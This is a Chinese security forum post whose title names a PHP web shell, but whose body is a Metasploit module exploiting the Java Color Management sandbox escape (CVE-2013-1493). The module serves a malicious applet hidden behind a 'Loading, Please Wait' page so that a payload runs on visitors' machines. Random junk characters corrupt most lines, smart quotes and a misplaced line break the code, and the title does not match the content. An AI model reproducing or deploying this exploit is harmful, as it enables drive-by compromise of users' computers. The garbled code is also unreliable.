找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2548|回复: 0
打印 上一主题 下一主题

STUNSHELL PHP Web Shell远程执行代码

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:31:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
##
- x5 l/ L% b0 A* o  h7 c: ^! ?% h. n( }3 e0 D8 c
# This file is part of the Metasploit Framework and may be subject to/ k! g3 g# i; f3 E* n6 `. f
# redistribution and commercial restrictions. Please see the Metasploit# Y% z8 C: U: m' c( O2 \
# web site for more information on licensing and terms of use.
4 }9 n& ]9 Z* B. i$ [& t# http://metasploit.com/" C$ {  e2 @2 x4 i: [9 U
##- ^/ |: \& r  d; i- I% T# n1 S
require ‘msf/core’
% g+ A1 L6 |. F+ A8 Z0 {; U2 K4 ^( xrequire ‘rex’9 M" ~/ k: ]1 X. u! a
class Metasploit3 < Msf::Exploit::Remote
8 K7 z0 n# J2 c. BRank = NormalRanking
& d0 L3 S# H! j! Z' Pinclude Msf::Exploit::Remote::HttpServer::HTML& j/ I0 _+ ~7 V3 c5 b/ x8 G' F
include Msf::Exploit::EXE; Q# y* j6 [0 L: \% [/ r" M
include Msf::Exploit::Remote::BrowserAutopwn; r' e. K! u5 P% a% I! O" \3 b
autopwn_info({ :javascript => false })
/ n' u+ _2 g, f" T8 {def initialize( info = {} )
/ x# T1 Q; Z! C1 w6 q4 Ysuper( update_info( info,
" A( O1 S9 x4 `( B& @2 A‘Name’ => ‘Java CMM Remote Code Execution’,  o7 ~& s' ?7 P$ Z# P( q' H4 z; H
‘Description’ => %q{, u  \9 `% `$ V; A; V
This module abuses the Color Management classes from a Java Applet to run6 C* v& a: f8 L% a/ A+ a6 v
arbitrary Java code outside of the sandbox as exploited in the wild in February
3 k- \, ]" R& Aand March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41
# N- Z9 @' O( f- }( Dand earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1, V" n) F/ S2 y  z8 s% H0 o0 Z
systems. This exploit doesn’t bypass click-to-play, so the user must accept the java
% ], R: j* t+ p0 rwarning in order to run the malicious applet.
! f! F/ {, {2 Q# o/ L- n},
9 r% O, w- O7 n) _& s, H1 V‘License’ => MSF_LICENSE,
5 [) v' R3 O  W7 J' k* S' ^‘Author’ =>
* ?, t7 m3 v' U5 h$ v'Unknown', # Vulnerability discovery and Exploit: o; F0 F/ }# h- R; O6 `
'juan vazquez' # Metasploit module (just ported the published exploit)
# u3 J) w& n5 G1 O8 s& |: X8 y],# W1 {( b/ @$ Y4 c
‘References’ =>
+ n: s% |5 B. e2 E/ M[  q- M( \  S% Z  A
[ 'CVE', '2013-1493' ],
- `: `  ]' Z5 Z6 ^0 X[ 'OSVDB', '90737' ],
6 N7 o& P0 D- ?) S[ 'BID', '58238' ],
- A* C7 y2 j/ c: ^) @  _[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],
' d  L9 ]( r1 W$ S3 f[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],
) A! F$ X' r2 b[ 'URL', 'http://pastie.org/pastes/6581034' ]
7 S9 s) P/ O8 E1 D6 W& @2 P],
8 ?# ]* D! y5 i5 c‘Platform’ => [ 'win', 'java' ],
0 e3 p0 I' t6 e5 H% t6 C% @‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },, g$ m' b' l2 o+ ^; w) K( a( t
‘Targets’ =>" m9 l9 v  a& l
[
" H; m2 Q! l+ F$ M/ g[ 'Generic (Java Payload)',, b2 p4 v) ^0 c$ J0 P
{
( x# R4 e$ D4 X, B) k1 B2 \'Platform' => 'java',- a6 W5 Q& `+ Z  [3 D2 B  d
'Arch' => ARCH_JAVA. `5 u3 a3 d; O
}
3 n8 `0 h  C: y2 T/ @],: }; A. H$ o* {9 g0 j  l, Y1 _+ n+ p
[ 'Windows x86 (Native Payload)',
5 \& h  j  |6 I2 p2 _6 o{
* _; M7 V3 O1 T2 G'Platform' => 'win',1 e" o  O, D5 i0 h
'Arch' => ARCH_X86
( r: h2 @& ~( Q' o( W9 x}
2 x3 w5 Y* p$ |  g  x" H# l]5 O+ z6 h- [! z8 o2 Q; A: B7 O2 O
],
2 W' \* m8 B3 y) O' K5 q‘‘DisclosureDate’ => ‘Mar 01 2013′! s+ P+ ^3 P" ^2 y$ c- ?1 j
))3 S  h0 g$ P( N# s- }
end' k/ B# e! F) W' O
def setup
7 T6 r! l. d, K( t  t) qpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)# \: j0 Q( L5 M# o3 C
@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }* U7 h) N7 P/ \  h$ O5 i4 q
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)
$ @. G3 d% j) u, w# D  E@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
7 {/ p2 n: j1 n. H# ]: ?  [path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)
$ e; |# F  @+ y3 X. h% k) s* p@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }* j" Q: ?6 ~) m3 \: ?, I/ W" P
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)
. f3 z- M' ?# W" s( y  q3 R3 j@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }0 [) V7 H7 }% }) R" N; W
@init_class_name = rand_text_alpha(“Init”.length)
  _! r! L/ j8 O1 R8 c' C5 Q@init_class.gsub!(“Init”, @init_class_name)
. q! `  c( K# K: g$ V# Ysuper1 F8 l- o" C+ `; X4 Q. h
end% Q0 T3 _" e" }( Q) `3 ~
def on_request_uri(cli, request)
& r+ @. S1 e+ _2 @print_status(“handling request for #{request.uri}”)
  g! U' n" j) {- i* H4 tcase request.uri5 l+ ^7 Y5 l) ~! y
when /\.jar$/i
- {" J) E" I/ F7 `. T  gjar = payload.encoded_jar
# ~* |: P6 i7 u3 i2 @7 [) fjar.add_file(“#{@init_class_name}.class”, @init_class)
! g" ?# L7 C" D) Mjar.add_file(“Leak.class”, @leak_class)
! ]% Q' _$ V7 c5 U& bjar.add_file(“MyBufferedImage.class”, @buffered_image_class)! ]& |2 U+ A$ F- I+ P7 a. N! B/ z
jar.add_file(“MyColorSpace.class”, @color_space_class)( F& I, Y! G; R+ r9 {! ^% T
DefaultTarget’ => 1,1 T7 h1 {% {1 o# d( P  T* v5 j
metasploit_str = rand_text_alpha(“metasploit”.length)
* f/ r/ k. h, W2 mpayload_str = rand_text_alpha(“payload”.length); K# Z  H2 C% e3 `, t
jar.entries.each { |entry|
2 O% D& t( ^+ ventry.name.gsub!(“metasploit”, metasploit_str). `9 ~  y. }" t7 N3 W
entry.name.gsub!(“Payload”, payload_str)
8 _2 i6 Q! ~. aentry.data = entry.data.gsub(“metasploit”, metasploit_str)* e2 Z( R  V3 D' e. u8 ^; D
entry.data = entry.data.gsub(“Payload”, payload_str)
: A! K* Y4 D1 ?  ]; r' r8 y}
& A' \6 R; ?$ ]) k; K+ L% Vjar.build_manifest
) p( P2 ^' y% Isend_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })
# `& o5 i! P' i3 |6 K6 o) H, Kwhen /\/$/8 `. e9 M* H" T6 i) n
payload = regenerate_payload(cli)
" Q0 W0 x6 B4 ~/ ~9 l6 h1 lif not payload
7 a8 L) p8 l1 l# @9 K0 o2 Xprint_error(“Failed to generate the payload.”)- M, N; N8 Z  }
send_not_found(cli)& B3 ~9 K9 B8 W/ D" c7 ?
return
/ w5 k# \/ L7 O0 ^, e5 }end0 z0 {8 l- y9 q1 q# D( J( G
send_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })
3 j0 }' b0 \1 P& |* T" }! j! jelse
1 X$ M5 r4 r6 U: y5 Q, ?send_redirect(cli, get_resource() + ‘/’, ”)
3 n( |3 @/ l3 c% e- R/ R7 d% `$ T5 kend
- m) ]0 }( x' Xend; H6 m, ?- o: ?
def generate_html* x  m0 M+ c% M
html = %Q|<html><head><title>Loading, Please Wait…</title></head>|
" O% a4 P$ U/ T, p6 w, phtml += %Q|<body><center><p>Loading, Please Wait…</p></center>|% B, K6 u5 J1 a! F8 w
html += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|6 U, W7 [. h$ M) [8 {5 q9 X
html += %Q|</applet></body></html>|
. o0 i) u* c. jreturn html- ?! O' O. \0 l- |
end
: A0 }3 h/ O" Kend" X$ l# u* E' v4 t# l" r3 \
end- B( E' N. c/ ~2 G4 O
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表